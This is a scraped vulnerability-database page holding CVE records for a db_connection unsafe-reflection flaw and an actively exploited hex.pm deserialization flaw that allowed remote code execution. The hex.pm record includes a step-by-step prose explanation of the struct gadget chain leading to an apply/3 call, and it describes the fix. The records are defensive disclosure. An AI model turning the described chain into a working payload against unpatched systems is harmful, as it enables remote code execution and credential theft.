                "cpe:2.3:a:elixir-ecto:db_connection:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.DBConnection\u0027",
                "\u0027Elixir.DBConnection.Stream\u0027",
                "\u0027Elixir.DBConnection.PrepareStream\u0027",
                "\u0027Elixir.Enumerable.DBConnection.Stream\u0027",
                "\u0027Elixir.Enumerable.DBConnection.PrepareStream\u0027"
              ],
              "packageName": "elixir-ecto/db_connection",
              "packageURL": "pkg:github/elixir-ecto/db_connection",
              "product": "db_connection",
              "programFiles": [
                "lib/db_connection.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.Enumerable.DBConnection.Stream\u0027:reduce/3"
                },
                {
                  "name": "\u0027Elixir.Enumerable.DBConnection.PrepareStream\u0027:reduce/3"
                },
                {
                  "name": "\u0027Elixir.DBConnection\u0027:reduce/3"
                }
              ],
              "repo": "https://github.com/elixir-ecto/db_connection",
              "vendor": "elixir-ecto",
              "versions": [
                {
                  "lessThan": "9a4230a60a33ca9eed76c18c494c3a59acddb04b",
                  "status": "affected",
                  "version": "7b21e044e4a2f9fa0cc4b001bc6cda0ecc2ae4d2",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eThe application, or one of its dependencies, builds Elixir structs from untrusted input (for example with \u003ccode\u003e:erlang.binary_to_term/2\u003c/code\u003e or \u003ccode\u003ePlug.Crypto.non_executable_binary_to_term/2\u003c/code\u003e) and then enumerates or inspects the result.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "The application, or one of its dependencies, builds Elixir structs from untrusted input (for example with `:erlang.binary_to_term/2` or `Plug.Crypto.non_executable_binary_to_term/2`) and then enumerates or inspects the result."
                }
              ],
              "value": "The application, or one of its dependencies, builds Elixir structs from untrusted input (for example with :erlang.binary_to_term/2 or Plug.Crypto.non_executable_binary_to_term/2) and then enumerates or inspects the result."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:elixir-ecto:db_connection:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.10.3",
                      "versionStartIncluding": "1.1.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Jos\u00e9 Valim"
            }
          ],
          "dateAssigned": "2026-11-24T09:53:40.000Z",
          "datePublic": "2026-11-24T14:12:46.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eUse of Externally-Controlled Input to Select Classes or Code (\u0027Unsafe Reflection\u0027) vulnerability in elixir-ecto db_connection allows an attacker to execute arbitrary code via a forged \u003ccode\u003eDBConnection.Stream\u003c/code\u003e or \u003ccode\u003eDBConnection.PrepareStream\u003c/code\u003e struct. The \u003ccode\u003eEnumerable\u003c/code\u003e implementations of both structs in \u003ccode\u003elib/db_connection.ex\u003c/code\u003e run with the options stored in the struct. The \u003ccode\u003e:log\u003c/code\u003e option accepts a \u003ccode\u003e{module, function, arguments}\u003c/code\u003e tuple, which \u003ccode\u003eDBConnection\u003c/code\u003e applies. When code enumerates a forged struct, \u003ccode\u003eDBConnection\u003c/code\u003e calls the chosen function.\u003c/p\u003e\n\u003cp\u003eThis issue is not exploitable in db_connection alone. It is, in theory, a vulnerability of the downstream component. The root cause is a component that decodes untrusted input with \u003ccode\u003e:erlang.binary_to_term/2\u003c/code\u003e and does not restrict which terms the result contains. The \u003ccode\u003e:safe\u003c/code\u003e option does not reject structs, and these structs contain only plain terms. Structs of other libraries can possibly lead to the same result, so a component that decodes untrusted terms stays at risk independently of db_connection. This record exists because the struct was used in attacks on such components.\u003c/p\u003e\n\u003cp\u003eThis issue affects db_connection: from 1.1.0 before 2.10.3.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Use of Externally-Controlled Input to Select Classes or Code (\u0027Unsafe Reflection\u0027) vulnerability in elixir-ecto db_connection allows an attacker to execute arbitrary code via a forged `DBConnection.Stream` or `DBConnection.PrepareStream` struct. The `Enumerable` implementations of both structs in `lib/db_connection.ex` run with the options stored in the struct. The `:log` option accepts a `{module, function, arguments}` tuple, which `DBConnection` applies. When code enumerates a forged struct, `DBConnection` calls the chosen function.\n\nThis issue is not exploitable in db_connection alone. It is, in theory, a vulnerability of the downstream component. The root cause is a component that decodes untrusted input with `:erlang.binary_to_term/2` and does not restrict which terms the result contains. The `:safe` option does not reject structs, and these structs contain only plain terms. Structs of other libraries can possibly lead to the same result, so a component that decodes untrusted terms stays at risk independently of db_connection. This record exists because the struct was used in attacks on such components.\n\nThis issue affects db_connection: from 1.1.0 before 2.10.3."
                }
              ],
              "value": "Use of Externally-Controlled Input to Select Classes or Code (\u0027Unsafe Reflection\u0027) vulnerability in elixir-ecto db_connection allows an attacker to execute arbitrary code via a forged DBConnection.Stream or DBConnection.PrepareStream struct. The Enumerable implementations of both structs in lib/db_connection.ex run with the options stored in the struct. The :log option accepts a {module, function, arguments} tuple, which DBConnection applies. When code enumerates a forged struct, DBConnection calls the chosen function.\n\nThis issue is not exploitable in db_connection alone. It is, in theory, a vulnerability of the downstream component. The root cause is a component that decodes untrusted input with :erlang.binary_to_term/2 and does not restrict which terms the result contains. The :safe option does not reject structs, and these structs contain only plain terms. Structs of other libraries can possibly lead to the same result, so a component that decodes untrusted terms stays at risk independently of db_connection. This record exists because the struct was used in attacks on such components.\n\nThis issue affects db_connection: from 1.1.0 before 2.10.3."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-138",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn attacker who can make an application build and enumerate a forged stream struct can call an exported function of a loaded module with chosen arguments in the application\u0027s VM.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An attacker who can make an application build and enumerate a forged stream struct can call an exported function of a loaded module with chosen arguments in the application\u0027s VM."
                    }
                  ],
                  "value": "An attacker who can make an application build and enumerate a forged stream struct can call an exported function of a loaded module with chosen arguments in the application\u0027s VM."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 8.9,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "HIGH",
                "subConfidentialityImpact": "HIGH",
                "subIntegrityImpact": "HIGH",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-470",
                  "description": "CWE-470 Use of Externally-Controlled Input to Select Classes or Code",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T14:59:40.084Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "Code execution via the :log option of forged DBConnection.Stream structs in db_connection",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/elixir-ecto/db_connection/security/advisories/GHSA-gmmq-fw75-wq46"
            },
            {
              "name": "EEF CNA record for CVE-2026-133555",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-133555.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-133555",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-133555"
            },
            {
              "name": "CVE-2026-124283: Code execution and SQL injection via struct-wrapped values in a forged keyset pagination cursor in Ash",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-124283.html"
            },
            {
              "name": "CVE-2026-129514: Unauthenticated remote code execution through struct values in Erlang term request bodies",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-129514.html"
            },
            {
              "name": "CVE-2026-130411: Code execution through deserialization of pagination cursors in flop",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-130411.html"
            },
            {
              "name": "Introducing commit 7b21e04 in elixir-ecto/db_connection",
              "tags": [
                "related"
              ],
              "url": "https://github.com/elixir-ecto/db_connection/commit/7b21e044e4a2f9fa0cc4b001bc6cda0ecc2ae4d2"
            },
            {
              "name": "Fix commit 9a4230a in elixir-ecto/db_connection",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/elixir-ecto/db_connection/commit/9a4230a60a33ca9eed76c18c494c3a59acddb04b"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "Code execution via the :log option of forged DBConnection.Stream structs in db_connection"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-133555",
        "datePublished": "2026-11-24T14:12:48.271Z",
        "dateReserved": "2026-11-24T07:04:32.214Z",
        "dateUpdated": "2026-11-24T14:59:40.084Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-129514 (GCVE-0-2026-129514)

    Vulnerability from cvelistv5 – Published: 2026-11-24 13:48 – Updated: 2026-11-24 15:26
    VLAI Previdian
    Title
    Unauthenticated remote code execution through struct values in Erlang term request bodies
    Summary
    Deserialization of Untrusted Data vulnerability in the application/vnd.hex+erlang request body parser in hexpm hexpm allows an unauthenticated remote attacker to execute operating system commands via a crafted Erlang external term format request body. This vulnerability was actively exploited against the hex.pm service on 2026-11-23. HexpmWeb.ErlangFormat.decode/1 in lib/hexpm_web/erlang_format.ex decodes the body with Plug.Crypto.non_executable_binary_to_term/2, which accepts maps that have a __struct__ key. HexpmWeb.PlugParser.parse/5 returns the decoded term as the request params. The parser runs in the endpoint before routing and authentication, so a POST to any route reaches it. Elixir dispatches protocols on the __struct__ key, so the client selects which Inspect and Enumerable implementations run when error reporting inspects the params. A chain through Ecto.Query.DynamicExpr and DBConnection.Stream reaches an apply/3 call on a {module, function, args} tuple taken from the request body. This issue affects hex.pm: from 2016-02-23 before 2026-11-23; hexpm/hexpm: from ab1bbcef7cc8395d1056d3b1aa6a174353492d59 before 379b0a29bcc95164249f38ad7d772a37a8ff9533.
    CWE
    • CWE-502 - Deserialization of Untrusted Data
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    hexpm hexpm Affected: 2016-02-23 , < 2026-11-23 (date)
        cpe:2.3:a:hexpm:hexpm:*:*:*:*:*:*:*:*
    Create a notification for this product.
    hexpm hexpm Affected: ab1bbcef7cc8395d1056d3b1aa6a174353492d59 , < 379b0a29bcc95164249f38ad7d772a37a8ff9533 (git)
        cpe:2.3:a:hexpm:hexpm:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-23 18:26
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://hex.pm",
              "cpes": [
                "cpe:2.3:a:hexpm:hexpm:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.HexpmWeb.ErlangFormat\u0027",
                "\u0027Elixir.HexpmWeb.PlugParser\u0027"
              ],
              "packageName": "hex.pm",
              "product": "hexpm",
              "programFiles": [
                "lib/hexpm_web/erlang_format.ex",
                "lib/hexpm_web/plug_parser.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.HexpmWeb.ErlangFormat\u0027:decode/1"
                },
                {
                  "name": "\u0027Elixir.HexpmWeb.PlugParser\u0027:parse/5"
                }
              ],
              "vendor": "hexpm",
              "versions": [
                {
                  "lessThan": "2026-11-23",
                  "status": "affected",
                  "version": "2016-02-23",
                  "versionType": "date"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:hexpm:hexpm:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.HexpmWeb.ErlangFormat\u0027",
                "\u0027Elixir.HexpmWeb.PlugParser\u0027"
              ],
              "packageName": "hexpm/hexpm",
              "packageURL": "pkg:github/hexpm/hexpm",
              "product": "hexpm",
              "programFiles": [
                "lib/hexpm_web/erlang_format.ex",
                "lib/hexpm_web/plug_parser.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.HexpmWeb.ErlangFormat\u0027:decode/1"
                },
                {
                  "name": "\u0027Elixir.HexpmWeb.PlugParser\u0027:parse/5"
                }
              ],
              "repo": "https://github.com/hexpm/hexpm",
              "vendor": "hexpm",
              "versions": [
                {
                  "lessThan": "379b0a29bcc95164249f38ad7d772a37a8ff9533",
                  "status": "affected",
                  "version": "ab1bbcef7cc8395d1056d3b1aa6a174353492d59",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:hexpm:hexpm:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "379b0a29bcc95164249f38ad7d772a37a8ff9533",
                      "versionStartIncluding": "ab1bbcef7cc8395d1056d3b1aa6a174353492d59",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "analyst",
              "value": "Eric Meadows-J\u00f6nsson"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Wojtek Mach"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Eric Meadows-J\u00f6nsson"
            }
          ],
          "dateAssigned": "2026-11-23T21:43:53.000Z",
          "datePublic": "2026-11-23T18:26:41.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eDeserialization of Untrusted Data vulnerability in the \u003ccode\u003eapplication/vnd.hex+erlang\u003c/code\u003e request body parser in hexpm hexpm allows an unauthenticated remote attacker to execute operating system commands via a crafted Erlang external term format request body. This vulnerability was actively exploited against the hex.pm service on 2026-11-23.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eHexpmWeb.ErlangFormat.decode/1\u003c/code\u003e in \u003ccode\u003elib/hexpm_web/erlang_format.ex\u003c/code\u003e decodes the body with \u003ccode\u003ePlug.Crypto.non_executable_binary_to_term/2\u003c/code\u003e, which accepts maps that have a \u003ccode\u003e__struct__\u003c/code\u003e key. \u003ccode\u003eHexpmWeb.PlugParser.parse/5\u003c/code\u003e returns the decoded term as the request params. The parser runs in the endpoint before routing and authentication, so a POST to any route reaches it. Elixir dispatches protocols on the \u003ccode\u003e__struct__\u003c/code\u003e key, so the client selects which \u003ccode\u003eInspect\u003c/code\u003e and \u003ccode\u003eEnumerable\u003c/code\u003e implementations run when error reporting inspects the params. A chain through \u003ccode\u003eEcto.Query.DynamicExpr\u003c/code\u003e and \u003ccode\u003eDBConnection.Stream\u003c/code\u003e reaches an \u003ccode\u003eapply/3\u003c/code\u003e call on a \u003ccode\u003e{module, function, args}\u003c/code\u003e tuple taken from the request body.\u003c/p\u003e\n\u003cp\u003eThis issue affects hex.pm: from 2016-02-23 before 2026-11-23; hexpm/hexpm: from ab1bbcef7cc8395d1056d3b1aa6a174353492d59 before 379b0a29bcc95164249f38ad7d772a37a8ff9533.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Deserialization of Untrusted Data vulnerability in the `application/vnd.hex+erlang` request body parser in hexpm hexpm allows an unauthenticated remote attacker to execute operating system commands via a crafted Erlang external term format request body. This vulnerability was actively exploited against the hex.pm service on 2026-11-23.\n\n`HexpmWeb.ErlangFormat.decode/1` in `lib/hexpm_web/erlang_format.ex` decodes the body with `Plug.Crypto.non_executable_binary_to_term/2`, which accepts maps that have a `__struct__` key. `HexpmWeb.PlugParser.parse/5` returns the decoded term as the request params. The parser runs in the endpoint before routing and authentication, so a POST to any route reaches it. Elixir dispatches protocols on the `__struct__` key, so the client selects which `Inspect` and `Enumerable` implementations run when error reporting inspects the params. A chain through `Ecto.Query.DynamicExpr` and `DBConnection.Stream` reaches an `apply/3` call on a `{module, function, args}` tuple taken from the request body.\n\nThis issue affects hex.pm: from 2016-02-23 before 2026-11-23; hexpm/hexpm: from ab1bbcef7cc8395d1056d3b1aa6a174353492d59 before 379b0a29bcc95164249f38ad7d772a37a8ff9533."
                }
              ],
              "value": "Deserialization of Untrusted Data vulnerability in the application/vnd.hex+erlang request body parser in hexpm hexpm allows an unauthenticated remote attacker to execute operating system commands via a crafted Erlang external term format request body. This vulnerability was actively exploited against the hex.pm service on 2026-11-23.\n\nHexpmWeb.ErlangFormat.decode/1 in lib/hexpm_web/erlang_format.ex decodes the body with Plug.Crypto.non_executable_binary_to_term/2, which accepts maps that have a __struct__ key. HexpmWeb.PlugParser.parse/5 returns the decoded term as the request params. The parser runs in the endpoint before routing and authentication, so a POST to any route reaches it. Elixir dispatches protocols on the __struct__ key, so the client selects which Inspect and Enumerable implementations run when error reporting inspects the params. A chain through Ecto.Query.DynamicExpr and DBConnection.Stream reaches an apply/3 call on a {module, function, args} tuple taken from the request body.\n\nThis issue affects hex.pm: from 2016-02-23 before 2026-11-23; hexpm/hexpm: from ab1bbcef7cc8395d1056d3b1aa6a174353492d59 before 379b0a29bcc95164249f38ad7d772a37a8ff9533."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-586",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn unauthenticated attacker can run operating system commands as the user of the BEAM process. That user can read the environment of the application, which holds the database URL, the storage credentials and the registry signing key.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An unauthenticated attacker can run operating system commands as the user of the BEAM process. That user can read the environment of the application, which holds the database URL, the storage credentials and the registry signing key."
                    }
                  ],
                  "value": "An unauthenticated attacker can run operating system commands as the user of the BEAM process. That user can read the environment of the application, which holds the database URL, the storage credentials and the registry signing key."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 10,
                "baseSeverity": "CRITICAL",
                "exploitMaturity": "ATTACKED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "HIGH",
                "subConfidentialityImpact": "HIGH",
                "subIntegrityImpact": "HIGH",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-502",
                  "description": "CWE-502 Deserialization of Untrusted Data",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T15:26:06.526Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "Unauthenticated remote code execution through struct values in Erlang term request bodies",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/hexpm/hexpm/security/advisories/GHSA-9pmm-hf4r-27pg"
            },
            {
              "name": "EEF CNA record for CVE-2026-129514",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-129514.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-129514",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-129514"
            },
            {
              "name": "Security incident on hex.pm",
              "tags": [
                "technical-description"
              ],
              "url": "https://hex.pm/blog/security-incident-on-hexpm"
            },
            {
              "name": "Introducing commit ab1bbce in hexpm/hexpm",
              "tags": [
                "related"
              ],
              "url": "https://github.com/hexpm/hexpm/commit/ab1bbcef7cc8395d1056d3b1aa6a174353492d59"
            },
            {
              "name": "Fix commit 379b0a2 in hexpm/hexpm",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/hexpm/hexpm/commit/379b0a29bcc95164249f38ad7d772a37a8ff9533"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "Unauthenticated remote code execution through struct values in Erlang term request bodies",
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Decoding.\u003c/strong\u003e \u003ccode\u003eHexpmWeb.Endpoint\u003c/code\u003e runs \u003ccode\u003ePlug.Parsers\u003c/code\u003e with \u003ccode\u003eHexpmWeb.PlugParser\u003c/code\u003e ahead of the router, so the parser handles every route before any authentication plug. For the content type \u003ccode\u003eapplication/vnd.hex+erlang\u003c/code\u003e, \u003ccode\u003eHexpmWeb.PlugParser.parse/5\u003c/code\u003e passes the body to \u003ccode\u003eHexpmWeb.ErlangFormat.decode/1\u003c/code\u003e, which calls \u003ccode\u003ePlug.Crypto.non_executable_binary_to_term/2\u003c/code\u003e with \u003ccode\u003e[:safe]\u003c/code\u003e. That function refuses functions and new atoms. It places no restriction on maps, so a map with a \u003ccode\u003e__struct__\u003c/code\u003e key passes. In a release every module and function name is an existing atom. When the decoded term is a map, the parser returns it as the body params, and \u003ccode\u003ePlug.Parsers\u003c/code\u003e merges it into \u003ccode\u003econn.params\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. The error.\u003c/strong\u003e An Elixir struct is a map whose \u003ccode\u003e__struct__\u003c/code\u003e key names a module, and protocol dispatch tests only that key. \u003ccode\u003ePlug.MethodOverride\u003c/code\u003e evaluates \u003ccode\u003ebody_params[\"_method\"]\u003c/code\u003e on every POST. For a struct, \u003ccode\u003eAccess.get/3\u003c/code\u003e calls \u003ccode\u003efetch/2\u003c/code\u003e on the named module. \u003ccode\u003eEcto.Query.DynamicExpr\u003c/code\u003e does not define \u003ccode\u003efetch/2\u003c/code\u003e, so the call raises \u003ccode\u003eUndefinedFunctionError\u003c/code\u003e, and the top stack frame holds the decoded struct as an argument.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Inspect dispatch.\u003c/strong\u003e Error reporting calls \u003ccode\u003einspect/1\u003c/code\u003e on the request data and on the stack frame arguments (Sentry, the Bandit error log through \u003ccode\u003eException.format/3\u003c/code\u003e, and the JSON log formatter). \u003ccode\u003einspect/1\u003c/code\u003e selects \u003ccode\u003eInspect.Ecto.Query.DynamicExpr\u003c/code\u003e, which calls \u003ccode\u003eEnum.map/2\u003c/code\u003e on the \u003ccode\u003ebinding\u003c/code\u003e field without a check that the field is a list.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e4. Enumerable dispatch.\u003c/strong\u003e The \u003ccode\u003ebinding\u003c/code\u003e field holds a \u003ccode\u003eDBConnection.Stream\u003c/code\u003e struct. Its \u003ccode\u003eEnumerable\u003c/code\u003e implementation calls \u003ccode\u003eDBConnection.reduce/3\u003c/code\u003e, which takes \u003ccode\u003econn\u003c/code\u003e, \u003ccode\u003equery\u003c/code\u003e, \u003ccode\u003eparams\u003c/code\u003e and \u003ccode\u003eopts\u003c/code\u003e from the struct and calls \u003ccode\u003edeclare/4\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e5. Function call.\u003c/strong\u003e \u003ccode\u003edeclare/4\u003c/code\u003e reads the \u003ccode\u003e:log\u003c/code\u003e option from \u003ccode\u003eopts\u003c/code\u003e. Query encoding fails before a connection is checked out, and the error path still calls the log hook. For a \u003ccode\u003e{module, function, args}\u003c/code\u003e tuple the hook is \u003ccode\u003eapply(mod, fun, [entry | args])\u003c/code\u003e. All three values come from the request body. The log entry takes the first argument position, so the request names an OTP standard library function that applies a trailing module, function and argument list. The inner call runs an operating system command as the user of the BEAM process.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003eInspect\u003c/code\u003e implementation of a struct runs inside a rescue in \u003ccode\u003eInspect.Algebra\u003c/code\u003e, so the request ends with the ordinary 500 response for the \u003ccode\u003ePlug.MethodOverride\u003c/code\u003e error.\u003c/p\u003e\n\u003cp\u003eThe fix makes \u003ccode\u003eHexpmWeb.ErlangFormat.decode/1\u003c/code\u003e return an error when any map in the decoded term has a \u003ccode\u003e__struct__\u003c/code\u003e key. The parser turns that error into a 400 response.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Decoding.** `HexpmWeb.Endpoint` runs `Plug.Parsers` with `HexpmWeb.PlugParser` ahead of the router, so the parser handles every route before any authentication plug. For the content type `application/vnd.hex+erlang`, `HexpmWeb.PlugParser.parse/5` passes the body to `HexpmWeb.ErlangFormat.decode/1`, which calls `Plug.Crypto.non_executable_binary_to_term/2` with `[:safe]`. That function refuses functions and new atoms. It places no restriction on maps, so a map with a `__struct__` key passes. In a release every module and function name is an existing atom. When the decoded term is a map, the parser returns it as the body params, and `Plug.Parsers` merges it into `conn.params`.\n\n**2. The error.** An Elixir struct is a map whose `__struct__` key names a module, and protocol dispatch tests only that key. `Plug.MethodOverride` evaluates `body_params[\"_method\"]` on every POST. For a struct, `Access.get/3` calls `fetch/2` on the named module. `Ecto.Query.DynamicExpr` does not define `fetch/2`, so the call raises `UndefinedFunctionError`, and the top stack frame holds the decoded struct as an argument.\n\n**3. Inspect dispatch.** Error reporting calls `inspect/1` on the request data and on the stack frame arguments (Sentry, the Bandit error log through `Exception.format/3`, and the JSON log formatter). `inspect/1` selects `Inspect.Ecto.Query.DynamicExpr`, which calls `Enum.map/2` on the `binding` field without a check that the field is a list.\n\n**4. Enumerable dispatch.** The `binding` field holds a `DBConnection.Stream` struct. Its `Enumerable` implementation calls `DBConnection.reduce/3`, which takes `conn`, `query`, `params` and `opts` from the struct and calls `declare/4`.\n\n**5. Function call.** `declare/4` reads the `:log` option from `opts`. Query encoding fails before a connection is checked out, and the error path still calls the log hook. For a `{module, function, args}` tuple the hook is `apply(mod, fun, [entry | args])`. All three values come from the request body. The log entry takes the first argument position, so the request names an OTP standard library function that applies a trailing module, function and argument list. The inner call runs an operating system command as the user of the BEAM process.\n\nThe `Inspect` implementation of a struct runs inside a rescue in `Inspect.Algebra`, so the request ends with the ordinary 500 response for the `Plug.MethodOverride` error.\n\nThe fix makes `HexpmWeb.ErlangFormat.decode/1` return an error when any map in the decoded term has a `__struct__` key. The parser turns that error into a 400 response."
                }
              ],
              "value": "1. Decoding. HexpmWeb.Endpoint runs Plug.Parsers with HexpmWeb.PlugParser ahead of the router, so the parser handles every route before any authentication plug. For the content type application/vnd.hex+erlang, HexpmWeb.PlugParser.parse/5 passes the body to HexpmWeb.ErlangFormat.decode/1, which calls Plug.Crypto.non_executable_binary_to_term/2 with [:safe]. That function refuses functions and new atoms. It places no restriction on maps, so a map with a __struct__ key passes. In a release every module and function name is an existing atom. When the decoded term is a map, the parser returns it as the body params, and Plug.Parsers merges it into conn.params.\n\n2. The error. An Elixir struct is a map whose __struct__ key names a module, and protocol dispatch tests only that key. Plug.MethodOverride evaluates body_params[\"_method\"] on every POST. For a struct, Access.get/3 calls fetch/2 on the named module. Ecto.Query.DynamicExpr does not define fetch/2, so the call raises UndefinedFunctionError, and the top stack frame holds the decoded struct as an argument.\n\n3. Inspect dispatch. Error reporting calls inspect/1 on the request data and on the stack frame arguments (Sentry, the Bandit error log through Exception.format/3, and the JSON log formatter). inspect/1 selects Inspect.Ecto.Query.DynamicExpr, which calls Enum.map/2 on the binding field without a check that the field is a list.\n\n4. Enumerable dispatch. The binding field holds a DBConnection.Stream struct. Its Enumerable implementation calls DBConnection.reduce/3, which takes conn, query, params and opts from the struct and calls declare/4.\n\n5. Function call. declare/4 reads the :log option from opts. Query encoding fails before a connection is checked out, and the error path still 